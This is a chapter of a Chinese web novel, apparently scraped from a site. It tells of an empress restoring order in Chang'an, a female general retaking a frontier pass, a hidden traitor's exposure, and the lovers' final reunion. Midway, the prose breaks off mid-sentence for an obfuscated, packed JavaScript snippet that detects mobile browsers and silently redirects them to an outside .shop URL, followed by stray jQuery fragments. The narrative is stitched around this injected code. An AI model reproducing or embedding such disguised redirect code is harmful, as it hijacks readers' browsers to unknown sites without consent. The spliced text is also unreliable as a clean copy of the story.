女帝的回归让整座长安城都震了三震。


    第一震是禁军全权接管城防，所有街道巷口都会定期巡逻，身着乌黑甲胄的兵士来来往往，几乎给人一种长安再度被围困的错觉。


    二是锦衣卫负责清除叛党，该杀的就地斩杀，该留的软禁府中。连太后和幽明王都倒了，跟风起哄的朝臣们更是没有好果子吃。


    三是御林军进驻含元殿，文武百官都在威严的刀兵之下上朝。以绝对的威压，整肃超纲。


    何止民众惶惶不安，就连颇有声望的官员们也都难以抑制自己内心的恐惧。


    暴政！！暴君！！！


    所有人都在心里无声的呐喊，他们不敢说出口，他们觉得女帝是个疯子。


    但随着时间的推移，他们似乎又发现，只要自己不将这些想法付诸言行，就不会被殃及无辜。


    女帝会清除异己，但似乎真的只是为了维.稳朝局。


    就在人们的议论声浪逐渐平息下去的时候，又一则爆炸性的讯息传遍了长安城——东方落月活着回来了！


    所有人都记得昭平大将军的葬礼，禁军开道、女帝扶棺，是大楚自开国以来第一位以国葬之礼厚待的女子。


    然而她竟然回来了！不知道是人是鬼，对于尚未开化的民众来说，这仿佛是古老的神话发生在眼前。


    坊间开始传言，说这东方落月就是天神降世的不死之身，天佑我大楚的征兆，茶楼戏馆里开始传唱她的神奇事迹，民间开始私立昭平大将军的人像以供祈福。


    女帝却并没有急于恢复东方落月的职权，而是静待朝局稳定下来、无人再敢反驳她的时候，宣布了将立东方落月为安国侯。


    同时大力推行科举制度，分为文试和武试，大力招揽贤才。


    举国哗然。


    女子也能承袭爵位了？这对于封建礼教荼毒下的人们来说简直不可思议。


    那岂不是女子将来也有机会参加科举入仕？这可太离经叛道了。


    但紧接着又有声音站出来，认为东方落月当之无愧，她战功赫赫，又是安国侯嫡女，更何况还有“死而复生”的神话，当得起“安国侯”这样的名号。


    更何况当今女帝执政期间，数次于国难当头之时扶大厦之将倾，男子能做的女子一样也不会差，可想而知数年后朝中应当是会有女官员当职的了。


    但这都不重要了，东方落月本人荣辱不惊，领旨谢赏后便率军南下，将趁乱侵蚀西南防线的狼兵全部打了回去。


    这几年里险些被蚕食掉的征远军，在她的带领下重整旗鼓、扬大楚国威，如同切瓜砍菜一般杀进了西凉国妄图吞并的土地上。


    打到镇南关的时候，她在城楼上看见了西凉国师，她遥遥向国师行了一礼，以谢当初国师阻止国主将她纳入后宫之事。


    西凉国曾两度举全国之兵力攻打大楚，为的就是能给子民抢来更适合生存的土地。


    然而他们用错了方法，侵略和屠杀非是正道，必将遭受其反噬。


    风卷残云，黄沙扑面，这是东方落月第一次以攻城者的角度仰视镇南关高耸的城门楼。


    只见门楼上，国师缓缓摘下面具，露出一张五官姣好的面容，原来她也是个女子。


    霎时间风雷滚动、冰雪漫天，国师从城门楼一跃而下——


    东方落月策马疾驰向前，却也没能接住她。


    砰的一声巨响，身躯砸在地上，脊骨断成几节，国师口吐鲜血，动弹不得。


    东方落月下马扑上前，大声喊道：“国师？......为什么？！！”


    国师勉强勾起嘴角，在极致的痛苦之下挑起一个笑容，她轻声道：“因，因为......西凉国气数已尽啊......”


    顷刻间雪花将国师的面容覆盖，东方落月沉默地捡起地上掉落的那张面具，帮国师戴回脸上，面具下的遗容是笑着的。


    镇南关城门楼上的西凉军旗被摘下，换上了大楚征远军军旗。


    ......


    东方落月重整西南防线，夺回失地，却并不进犯西凉领土。


    战势稍缓后，萧关的华西将军姜淮、韶关的威南将军袁珏奉令去往镇南关夜谈。


    东方落月这才知道，当时镇南关遇袭，姜淮正在出兵援助金锁关，而袁珏则在南下援军途中遭遇狼兵伏击，险些全员战死。


    这也是为什么她数次求援而未有援兵，最后强撑二十日险些战死。


    东方落月将茶盏扣在桌面上，沉声道：“必有内应。”


    ......


    与此同时，长安城内。


    闻人青梧重新提拔了一名锦衣卫心腹，名为吕常，让他接替了曾经苏然的位置。


    苏然的尸首被拼凑完整，送回老家安葬，他的亲眷则以烈士家属的标准厚待。


    闻人青梧派吕常继续深入调查军饷贪污案和通敌案。


    当时在浅云阁，东方落月问的两个问题，她也想知道答案。


    吕常相比苏然行事更加缜密细心，他从所有细节当中抽丝剥茧，最终还原了一个真相，一个令所有人都瞠目结舌的真相。


    ......


    京郊陵园，安国侯老侯爷和侯夫人的合葬墓前，罗红和沈桃为其上香。


    陵园里躺着安国侯一家，东方擎苍、沈恋、东方晓辉、东方晨星。


    当年罗红没有参加沈恋的葬礼，如今十年忌日，她红着眼看向那青灰色的石碑。


    “十年了，师姐，别怪我不来看你，我......实在是心累，”罗红抬起袖子擦拭墓碑上的灰尘，“京城并非我归处，江湖才是。怀歧堂到了我这一辈算是真正的没落了，是我无能，对不起师姐。”


    “罗前辈别这么说，侯夫人她不会怪你的。”沈桃红着眼睛小声道，“我也是她的传人，今后就让我来在京城继续开怀歧堂吧，我一定不会辜负前辈们的期望。”


    罗红闻言没说什么，站起来又注视了墓碑良久，转身离去前留下一句：“小桃，这是我最后一次这么叫你，你要好自为之。”


    沈桃不知为何愣在原地，半晌才仿佛听懂了这句话，跪在地上泣不成声。


    罗红离去后，锦衣卫吕常带人来，押走了沈桃。


    ......


    为什么女帝南下时，黑衣刺客能如此精准地追踪到她们的踪迹？


    为什么明明没有见到尸首，却会一口咬定东方落月已死？


    为什么区区家生子，却敢以自己更像侯夫人的女儿为荣？


    为什么明明师从沈恋，确认不出牵机药这种有名的毒？


    为什么没有武艺傍身，却能在狼兵屠城的弯刀下活命？


    当然，这些问题只是疑点而非证据，真正将她钉死在罪人席上的，是从她房间地砖下，搜出来的两摞密信。


    一摞是和褚妍熙来往的，一摞是和西凉国师来往的。


    沈桃是闻人青梧亲手处理的，留了全尸，给她最后的体面。


    ......


    罗红此人，一介浪荡江湖客，看似洒脱无牵挂，实际上也是个凡人。


    她此生只动过两回心，一次是沈恋，一次是沈桃。


    当年，她明明恨透了腐朽的朝廷，却要眼睁睁看着自己心爱的师姐嫁入侯府，卸去怀歧堂堂主之位，曾四方游历行医的潇洒江湖客，成了一入侯门深似海的牺牲品。


    她见到沈桃，不是故人之子，却有故人之姿。少女的活泼可爱和出乎意料的坚韧顽强，让她在沉寂江湖十余年后，终于再次感受到了鲜活的生命力。


    可终究沈桃也非同路人，分道扬镳是多么习以为常的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234661|151400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事，让人连痛苦都不好意思表露出来。


    后来的罗红，回到山野林间，继续当那怀歧堂分堂主，将女帝赏赐的东西全部折成现银去买药材，补贴那摇摇欲坠的医馆。


    再后来，直到闻人青梧与东方落月携手归隐江湖之后，她们才又见了面。


    那时的罗红已经鬓边泛白，常年提着酒壶在山间采药。


    多年后闻人青梧和东方落月再来访时，医馆里已经只剩她的徒弟郁李一人在经营了。


    据郁李所说，罗红在某次进山采药后，便再也没有回来。


    或许是跌下了悬崖，又或许是换了个地方云游。


    她有她的归处。


    ......


    长安围困之事五年后，战事平息。


    安国侯东方落月回京述职，京郊已种满一眼望不到边际的杜若花，花香随风飘散，让连日行军的将士们都不禁放松了下来。


    东方落月俯身折了一朵，想起曾经与闻人青梧在这儿的送别，险些成了生死离别。


    她喜欢这杜若花，含清露，满芳洲，虽行远，莫相忘。


    她也喜欢曾许诺为她在长安内外种满杜若花的女帝。


    她曾在边陲写信寄往长安，信中是凭记忆描摹出来的杜若花。


    只是并不知晓这封信在她“死讯”传回长安时，被意外打翻的烛台给烧成了灰烬。


    她的父兄尽数战死沙场，如今的她是空荡荡的安国侯府里唯一的主人，她很怕将来自己的离去也会如此突兀，让人来不及好好道别。


    所以她不敢回应女帝的心意，更不敢正视自己的内心。


    她怕心一软，就没法好好打仗了。


    弃身锋刃端，性命安可怀？将军若是有了牵挂，战场上便没法彻底地舍生忘死。


    将军百战死，壮士十年归。谁能保证她能一直幸存下去？谁又能保证几年内平定山河？


    女帝是个深情的人，有些事情开弓没有回头箭，等到追悔莫及时，伤害已经无法挽回了。


    所以她惶恐。


    ......


    又五年，国泰民安，风调雨顺。


    曾经风雨飘摇的大楚已在这些年里彻底地恢复了生机，女帝立了太子，但并非她所出，而是闻人家族旁支过继来的孩子。


    太子从小便由女帝和两朝帝师周太傅亲自教导，据说小小年纪已是气度不凡。


    东方落月也想来看看。


    朱雀大街繁华如旧，熙熙攘攘的人群给他们这队回京述职的将士让出道路，又用打量的目光观察这位传闻中死而复生的女侯爷。


    东方落月欣然接受了这些打量，并嘱咐身后将士们将从西南腹地带来的特色果干分发给两旁的民众。


    她已经不再是当年那个满腔愤懑不平的愣头青了，她的心里有山河，脚下是土地，手中是刀兵，岁月在她身上沉淀出一代名将的风骨，生出不同于其他将领的温沉柔和。


    街边的孩童争抢着这些色泽鲜艳的果干，家长们在一旁拉偏架，好不热闹。


    忽然间，她若有所感地收回目光向远处看去——闻人青梧正站在远处看向自己。


    盗骊也是很久没见到赤骥了，远远看见便迫不及待载着东方落月奔了过去，只消片刻便来到了闻人青梧的眼前，与赤骥耳鬓厮磨。


    闻人青梧额前珠翠随风轻轻摇曳，在阳光下熠熠生辉，问道：“将军，战事已了，可要考虑在长安小住？”


    东方落月下马行礼，身上铠甲发出悦耳的金属相撞声，答道：“陛下，动荡已平，可要考虑收末将入宫？”


    常年冰封在女帝凤眸中的寒意融化，变成一潭春水。


    将军的甲胄也被这温热浸染，玄铁自此刻不再冰冷。


    她们在朱红宫墙下，十指相扣，唇齿相依。